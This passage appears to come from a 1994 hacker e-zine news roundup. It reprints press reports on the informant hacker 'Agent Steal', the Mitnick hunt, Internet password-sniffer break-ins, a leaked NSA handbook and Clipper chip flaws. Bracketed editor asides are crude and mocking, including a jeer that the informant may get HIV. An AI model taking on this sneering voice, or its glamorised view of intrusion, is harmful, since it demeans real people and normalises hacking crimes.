Petersen is described as 5 foot, 11 inches, 175 pounds, with
brown hair - "sometimes platinum blond." But his most telling
characteristic is that he walks with the aid of a prosthesis
because he lost his left leg below the knee in a car accident.
Heavily involved in the Hollywood music scene, Petersen's
last known employer was Club "Velvet Jam," one of a string of
clubs he promoted in Los Angeles.
-----------------------------------------------------------------------------
Hacker in Hiding July 31, 1994
~~~~~~~~~~~~~~~~
by John Johnson (LA Times)
First there was the Condor, then Dark Dante. The latest computer hacker to
hit the cyberspace most wanted list is Agent Steal, a slender, good-looking
rogue partial to Porsches and BMWs who bragged that he worked undercover
for the FBI catching other hackers.
Now Agent Steal, whose real name is Justin Tanner Petersen, is on the run
from the very agency he told friends was paying his rent and flying him to
computer conferences to spy on other hackers.
Petersen, 34, disappeared Oct. 18 after admitting to federal prosecutors
that he had been committing further crimes during the time when he was
apparently working with the government "in the investigation of other
persons," according to federal court records.
Ironically, by running he has consigned himself to the same secretive life
as Kevin Mitnick, the former North Hills man who is one of the nation's most
infamous hackers, and whom Petersen allegedly bragged of helping to set up
for an FBI bust. Mitnick, who once took the name Condor in homage to a
favorite movie character, has been hiding for almost two years to avoid
prosecution for allegedly hacking into computers illegally and posing as a
law enforcement officer.
Authorities say Petersen's list of hacks includes breaking into computers
used by federal investigative agencies and tapping into a credit card
information bureau. Petersen, who once promoted after-hours rock shows in
the San Fernando Valley, also was involved in the hacker underground's most
sensational scam - hijacking radio station phone lines to win contests with
prizes ranging from new cars to trips to Hawaii.
Petersen gave an interview last year to an on-line publication called Phrack
in which he claimed to have tapped the phone of a prostitute working for
Heidi Fleiss. He also boasted openly of working with the FBI to bust
Mitnick.
"When I went to work for the bureau I contacted him," Petersen said in the
interview conducted by Mike Bowen. "He was still up to his old tricks, so
we opened a case on him. . . . What a loser. Everyone thinks he is some
great hacker. I outsmarted him and busted him."
In the Phrack interview, published on the Internet, an international network
of computer networks with millions of users, Agent Steal bragged about
breaking into Pacific Bell headquarters with Poulsen to obtain information
about the phone company's investigation of his hacking.
Petersen was arrested in Texas in 1991, where he lived briefly. Court
records show that authorities searching his apartment found computer
equipment, Pacific Bell manuals and five modems.
A grand jury in Texas returned an eight-count indictment against Petersen,
accusing him of assuming false names, accessing a computer without
authorization, possessing stolen mail and fraudulently obtaining and using
credit cards.
The case was later transferred to California and sealed, out of concern for
Petersen's safety, authorities said. The motion to seal, obtained by
Sherman, states that Petersen, "acting in an undercover capacity, currently
is cooperating with the United States in the investigation of other persons
in California."
In the Phrack interview, Petersen makes no apologies for his choices in life.
While discussing Petersen's role as an informant, Mike Bowen says, "I think
that most hackers would have done the same as you."
"Most hackers would have sold out their mother," Petersen responded.
------------------------------------------------------------------------------
Computer Criminal Caught After 10 Months on the Run August 30, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Keith Stone (Daily News)
Convicted computer criminal Justin Tanner Petersen was captured Monday in
Los Angeles, 10 months after federal authorities said they discovered he
had begun living a dual life as their informant and an outlaw hacker.
Petersen, 34, was arrested about 3:30 a.m. outside a Westwood apartment
that FBI agents had placed under surveillance, said Assistant U.S.
Attorney David Schindler.
A flamboyant hacker known in the computer world as "Agent Steal," Petersen
was being held without bail in the federal detention center in Los Angeles.
U.S. District Court Judge Stephen V. Wilson scheduled a sentencing hearing
for Oct. 31.
Petersen faces a maximum of 40 years in prison for using his sophisticated
computer skills to rig a radio contest in Los Angeles, tap telephone lines
and enrich himself with credit cards.
Monday's arrest ends Petersen's run from the same FBI agents with whom he
had once struck a deal: to remain free on bond in exchange for pleading
guilty to several computer crimes and helping the FBI with other hacker
cases.
The one-time nightclub promoter pleaded guilty in April 1993 to six federal
charges. And he agreed to help the government build its case against Kevin
Lee Poulsen, who was convicted of manipulating telephones to win radio
contests and is awaiting trial on espionage charges in San Francisco.
Authorities said they later learned that Petersen had violated the deal by
committing new crimes even as he was awaiting sentencing in the plea
agreement.
On Monday, FBI agents acting on a tip were waiting for Petersen when he parked
a BMW at the Westwood apartment building. An FBI agent called Petersen's
name, and Petersen began to run, Schindler said.
Two FBI agents gave chase and quickly caught Petersen, who has a prosthetic
lower left leg because of a car-motorcycle accident several years ago.
In April 1993, Petersen pleaded guilty to six federal charges including
conspiracy, computer fraud, intercepting wire communications, transporting
a stolen vehicle across state lines and wrongfully accessing TRW credit
files. Among the crimes that Petersen has admitted to was working with other
people to seize control of telephone lines so they could win radio
promotional contests. In 1989, Petersen used that trick and walked away with
$10,000 in prize money from an FM station, court records show.
When that and other misdeeds began to catch up with him, Petersen said, he
fled to Dallas, where he assumed the alias Samuel Grossman and continued
using computers to make money illegally.
When he as finally arrested in 1991, Petersen played his last card.
"I called up the FBI and said: 'Guess what? I am in jail,' " he said.
He said he spent the next four months in prison, negotiating for his freedom
with the promise that he would act as an informant in Los Angeles.
The FBI paid his rent and utilities and gave him $200 a week for spending
money and medical insurance, Petersen said.
They also provided him with a computer and phone lines to gather information
on hackers, he said.
Eventually, Petersen said, the FBI stopped supporting him so he turned to
his nightclubs for income. But when that began to fail, he returned to
hacking for profit.
"I was stuck out on a limb. I was almost out on the street. My club
was costing me money because it was a new club," he said. "So I did what
I had to do. I an not a greedy person."
[Broke, Busted, Distrusted. Turning in your friends leads to some
seriously bad Karma, man. Negative energy like that returns ten-fold.
You never know in what form either. You could end getting shot,
thrown in jail, or worse, test HIV Positive. So many titty-dancers,
so little time, eh dude? Good luck and God bless ya' Justin.]
-----------------------------------------------------------------------------
Fugitive Hacker Baffles FBI With Technical Guile July 5, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by John Markoff (New York Times)
[Mitnik, Mitnik, Mitnik, and more Mitnik. Poor bastard. No rest for
the wicked, eh Kevin?]
-----------------------------------------------------------------------------
Computer Outlaws Invade the Internet May 24, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Mike Toner (Atlanta Journal-Constitution)
A nationwide wave of computer break-ins has law enforcement
authorities scrambling to track down a sophisticated ring of
"hackers" who have used the international "information
highway," the Internet, to steal more than 100,000 passwords -- the
electronic keys to vast quantities of information stored on
government, university and corporate computer systems.
Since the discovery of an isolated break-in last year at a
single computer that provides a "gateway" to the Internet,
operators of at least 30 major computer systems have found illicit
password "sniffers" on their machines.
The Federal Bureau of Investigation has been investigating the
so-called "sniffer" attacks since February, but security experts
say the intrusions are continuing -- spurred, in part, by the
publication last month of line-by-line instructions for the
offending software in an on-line magazine for hackers.
Computer security experts say the recent rash of password piracy
using the Internet is much more serious than earlier security
violations, like the electronic "worm" unleashed in 1988 by
Cornell University graduate student Robert Morris.
"This is a major concern for the whole country," she says.
"I've had some sleepless nights just thinking about what could
happen. It's scary. Once someone has your ID and your password,
they can read everything you own, erase it or shut a system down.
They can steal proprietary information and sell it, and you might
not even know it's gone."
"Society has shifted in the last few years from just using
computers in business to being absolutely dependent on them and the
information they give us -- and the bad guys are beginning to
appreciate the value of information," says Dain Gary, manager of
the Computer Emergency Response Team (CERT), a crack team of
software experts at Carnegie-Mellon University in Pittsburgh that
is supported by the Defense Department's Advanced Research Projects
Agency.
Gary says the current rash of Internet crime appears to be the
work of a "loosely knit but fairly organized group" of computer
hackers adept not only at breaking and entering, but at hiding
their presence once they're in.
Most of the recent break-ins follow a similar pattern. The
intruders gain access to a computer system by locating a weakness
in its security system -- what software experts call an "unpatched
vulnerability."
Once inside, the intruders install a network monitoring program,
a "sniffer," that captures and stores the first 128 keystrokes
of all newly opened accounts, which almost always includes a user's
log-on and password.
"We really got concerned when we discovered that the code had
been published in Phrack, an on-line magazine for hackers, on April
1," he says. "Putting something like that in Phrack is a little
like publishing the instructions for converting semiautomatic
weapons into automatics.
Even more disturbing to security experts is the absence of a
foolproof defense. CERT has been working with computer system
administrators around the country to shore up electronic security,
but the team concedes that such "patches" are far from perfect.
[Look for plans on converting semiautomatic weapons into automatics
in the next issue.]
------------------------------------------------------------------------------
Information Superhighwaymen - Hacker Menace Persists May 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Open Computing) (Page 25)
Once again the Internet has been labeled a security problem. And a new
breed of hackers has attracted attention for breaking into systems.
"This is a group of people copying what has been done for years," says
Chris Goggans, aka Erik Bloodaxe. "There's one difference: They don't
play nice."
Goggans was a member of the hacker gang called the Legion of Doom in the
late '80s to early '90s. Goggans says the new hacking group, which goes
by the name of "The Posse," has broken into numerous Business Week 1000
companies including Sun Microsystems Inc., Boeing, and Xerox. He says
they've logged onto hundreds of universities and online services like
The Well. And they're getting root access on all these systems.
For their part, The Posse--a loose band of hackers--isn't talking.
------------------------------------------------------------------------------
Security Experts: Computer Hackers a Growing Concern July 22, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
New York Times News Wire (Virginian-Pilot and Ledger Star) (2A)
Armed with increasing sophisticated snooping tools, computer programmers
operating both in the United States and abroad have gained unauthorized
access to hundreds of sensitive but unclassified government and military
computer networks called Internet, computer security experts said.
Classified government and military data, such as those that control
nuclear weapons, intelligence and other critical functions, are not
connected to the Internet and are believed to be safe from the types of
attacks reported recently.
The apparent ease with which hackers are entering military and government
systems suggests that similar if not greater intrusions are under way on
corporate, academic and commercial networks connected to the Internet.
Several sources said it was likely that only a small percentage of
intrusions, perhaps fewer than 5 percent, have been detected.
------------------------------------------------------------------------------
NSA Semi-confidential Rules Circulate
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Keay Davidson (San Francisco Examiner) (Page A1)
It arrived mysteriously at an Austin, Texas, post office box by "snail
mail" - computerese for the Postal Service. But once the National Security
Agency's employee handbook was translated into bits and bytes, it took
only minutes to circulate across the country.
Thus did a computer hacker in Texas display his disdain for government
secrecy last week - by feeding into public computer networks the
semiconfidential document, which describes an agency that, during the darkest
days of the Cold War, didn't officially "exist."
Now, anyone with a computer, telephone, modem and basic computer skills
can read the 36-page manual, which is stamped "FOR OFFICIAL USE ONLY" and
offers a glimpse of the shadowy world of U.S. intelligence - and the personal
price its inhabitants pay.
"Your home, car pool, and public places are not authorized areas to
conduct classified discussions - even if everyone involved in the discussion
possesses a proper clearance and "need-to-know.' The possibility that a
conversation could be overheard by unauthorized persons dictates the need to
guard against classified discussions in non-secure areas."
The manual is "so anal retentive and paranoid. This gives you some
insight into how they think," said Chris Goggans, the Austin hacker who
unleashed it on the computer world. His on-line nom de plume is "Erik
Bloodaxe" because "when I was about 11, I read a book on Vikings, and that
name really struck me."
NSA spokeswoman Judi Emmel said Tuesday that "apparently this document is
an (NSA) employee handbook, and it is not classified." Rather, it is an
official NSA employee manual and falls into a twilight zone of secrecy. On
one hand, it's "unclassified." On the other hand, it's "FOR OFFICIAL USE
ONLY" and can be obtained only by filing a formal request under the U.S.
Freedom of Information Act, Emmel said.
"While you may take this handbook home for further study, remember that
it does contain "FOR OFFICIAL USE ONLY' information which should be
protected," the manual warns. Unauthorized release of such information could
result in "appropriate administrative action ... (and) corrective and/or
disciplinary measures."
Goggans, 25, runs an on-line electronic "magazine" for computer hackers
called Phrack, which caters to what he calls the "computer underground." He
is also a computer engineer at an Austin firm, which he refuses to name.
The manual recently arrived at Goggans' post office box in a white
envelope with no return address, save a postmark from a Silicon Valley
location, he says. Convinced it was authentic, he typed it into his computer,
then copied it into the latest issue of Phrack.
Other hackers, like Grady Ward of Arcata, Humboldt County, and Jeff
Leroy Davis of Laramie, Wyo., redistributed the electronic files to computer
users' groups. These included one run by the Cambridge, Mass.-based
Electronic Frontier Foundation, which fights to protect free speech on
computer networks.
Ward said he helped redistribute the NSA manual "to embarrass the NSA"
and prove that even the U.S. government's most covert agency can't keep
documents secret.
The action also was aimed at undermining a federal push for
data-encryption regulations that would let the government tap into computer
networks, Ward said.
[Yeah...sure it was, Grady.]
------------------------------------------------------------------------------
Hackers Stored Pornography in Computers at Weapons Lab July 13, 1994
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Adam S. Bauman (Virginian-Pilot and Ledger-Star) (Page A6)
One of the nation's three nuclear weapons labs has confirmed that
computer hackers were using its computers to store and distribute
hard-core pornography.
The offending computer, which was shut down after a Los Angeles Times
reporter investigating Internet hacking alerted lab officials, contained
more than 1,000 pornographic images. It was believed to be the largest
cache of illegal hardcore pornography ever found on a computer network.
At Lawrence Livermore, officials said Monday that they believed at least
one lab employee was involved in the pornography ring, along with an
undetermined number of outside collaborators.
[Uh, let me see if I can give this one a go:
A horny lab technician at LLNL.GOV uudecoded gifs for days on end
from a.b.p.e. After putting them up on an FSP site, a nosey schlock
reporter blew the whistle, and wrote up a big "hacker-scare" article.
The top-notch CIAC team kicked the horn-dog out the door, and began
frantically scouring the big Sun network at LLNL for other breaches,
all the while scratching their heads at how to block UDP-based apps
like FSP at their firewall. MPEGs at 11.
How does shit like this get printed????]
------------------------------------------------------------------------------
Clipper Flaw May Thwart Fed Effort June 6, 1994
by Aaron Zitner (Boston Globe)
Patents, Technical Snares May Trip Up the 'Clipper' June 6, 1994
by Sharon Fisher (Communications Week) (Page 1)
[Clipper, Flipper, Slipper. It's all a big mess, and has obsoleted
itself. But, let's sum up the big news:
How the Clipper technology is SUPPOSED to work
1) Before an encoded message can be sent, a clipper computer chip
assigns and tests a scrambled group of numbers called a LEAF, for
Law Enforcement Access Field. The LEAF includes the chip's serial
number, a "session key" number that locks the message and a "checksum"
number that verifies the validity of the session key.
2) With a warrant to wiretap, a law-enforcement agency like the FBI
could record the message and identify the serial number of a Clipper
chip. It would then retrieve from custodial agencies the two halves of
that chip's decoding key.
3) Using both halves of the decoding key, the FBI would be able to
unscramble the session key number, thus unlocking the messages or data
that had been protected.
How the Clipper technology is FLAWED (YAY, Matt Blaze!)
1) Taking advantage of design imperfections, people trying to defeat
the system could replace the LEAF until it erroneously passed the
"checksum" verification, despite an invalid session-key number.
2) The FBI would still be able to retrieve a decoding key, but it would
prove useless.
3) Because the decoding key would not be able to unscramble the invalid
session key, the message would remain locked.]
Reference in New Issue View Git Blame Copy Permalink